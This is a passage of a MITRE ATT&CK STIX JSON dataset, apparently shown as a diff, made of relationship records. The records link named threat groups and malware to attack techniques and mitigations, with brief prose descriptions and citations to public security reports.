"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) executes commands remotely via cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ac33e30a-5abb-4267-a220-2f844cce45e4", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors spawned shells on remote systems on a victim network to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--289e01df-60e6-4eee-830e-9d742ac10c86", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.258Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) apparently altered [NDiskMonitor](https://attack.mitre.org/software/S0272) samples by adding four bytes of random letters in a likely attempt to change the file hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c6a4b8e6-eaf7-4b56-af0a-ba0fd070e97b", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.863Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can list file and directory information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8beb37e3-5cf0-4229-ae27-186a37133521", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware communicates with its C2 server via HTTPS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.073Z", + "id": "relationship--782da600-bc3b-4dae-89d1-4a79522bed02", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\" The group has also used a tools to dump passwords from browsers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--c948f964-e26c-4226-9577-7b78b5bf271f", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.448Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c5747927-2d3d-4d3b-a4d7-56a2b37b039e", + "source_ref": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "modified": "2019-07-25T11:46:32.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses various WMI queries to check if the sample is running in a sandbox.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0220b491-9c13-4bc4-a3e2-e3ad0e8c9733", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.306Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[APT19](https://attack.mitre.org/groups/G0073) launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f35a3ca7-b916-4bc2-a493-613196b5d41e", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.189Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) used cmd.exe to launch commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1332e859-38be-45ed-9ebc-09efd7117c17", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can list directory contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fbfa0807-ce03-4448-a50d-f0337d2446f2", + "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "modified": "2019-04-24T16:39:53.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "The [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.265Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can retrieve the current content of the user clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--66440b92-cfed-441c-85fd-1d103684a187", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to delete local files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--24db8ce5-951e-4952-9aff-c005a563cb99", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.587Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.034Z", + "id": "relationship--f879eea1-2a05-484d-adbb-c3504813fc5d", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.545Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--9c7a7eca-b91a-4974-bcf0-cfb77f105abd", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) delets all artifacts associated with the malware from the infected machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--df520c15-50fc-46cf-8559-368e88072aa7", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can list running services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--de525077-129a-4d14-8419-6a3d219710a8", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[JPIN](https://attack.mitre.org/software/S0201) lower disable security settings by changing Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4e66aad2-7c30-4c05-9f8e-767ac1cff08e", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) encrypts the collected files using 3-DES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6b2770ca-bf5d-4994-8a7e-868c906f385a", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[APT19](https://attack.mitre.org/groups/G0073) uses a Port 22 malware variant to modify several Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--45f35ec0-73a8-42a6-b879-d800d27211c8", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.197Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--1f8f6283-6004-4204-a54f-759e9c0519b1", + "source_ref": "course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2", + "modified": "2019-07-25T11:26:37.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used regsvr32.exe to execute scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--62c5050d-983c-44f7-ba23-f2820398eb67", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "description": "Gorelik, M. (2018, October 08). Cobalt Group 2.0. Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018", + "url": "https://blog.morphisec.com/cobalt-gang-2.0" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim drive information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0188b7af-d060-4715-baf2-ad69333482dc", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has established persistence by using the Registry option in PowerShell Empire to add a Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--75b383eb-5483-4c44-a721-ee1cffa6edb7", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "modified": "2019-04-25T12:09:56.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "source_name": "FireEye FIN10 June 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can communicate over HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--85112c0c-3096-4118-9ba6-ed173128544f", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.853Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--956303a4-558c-433d-bc2f-28a7e69192ae", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.304Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can capture screenshots of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c2888af5-ccdd-43f1-947c-1abd69272ec2", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the whoami and query user commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--28ffc627-936b-4572-93f6-0c46cb361dda", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.105Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Elise](https://attack.mitre.org/software/S0081) injects DLL files into iexplore.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f72d9605-eea6-4ed4-8502-231d4c21431f", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": 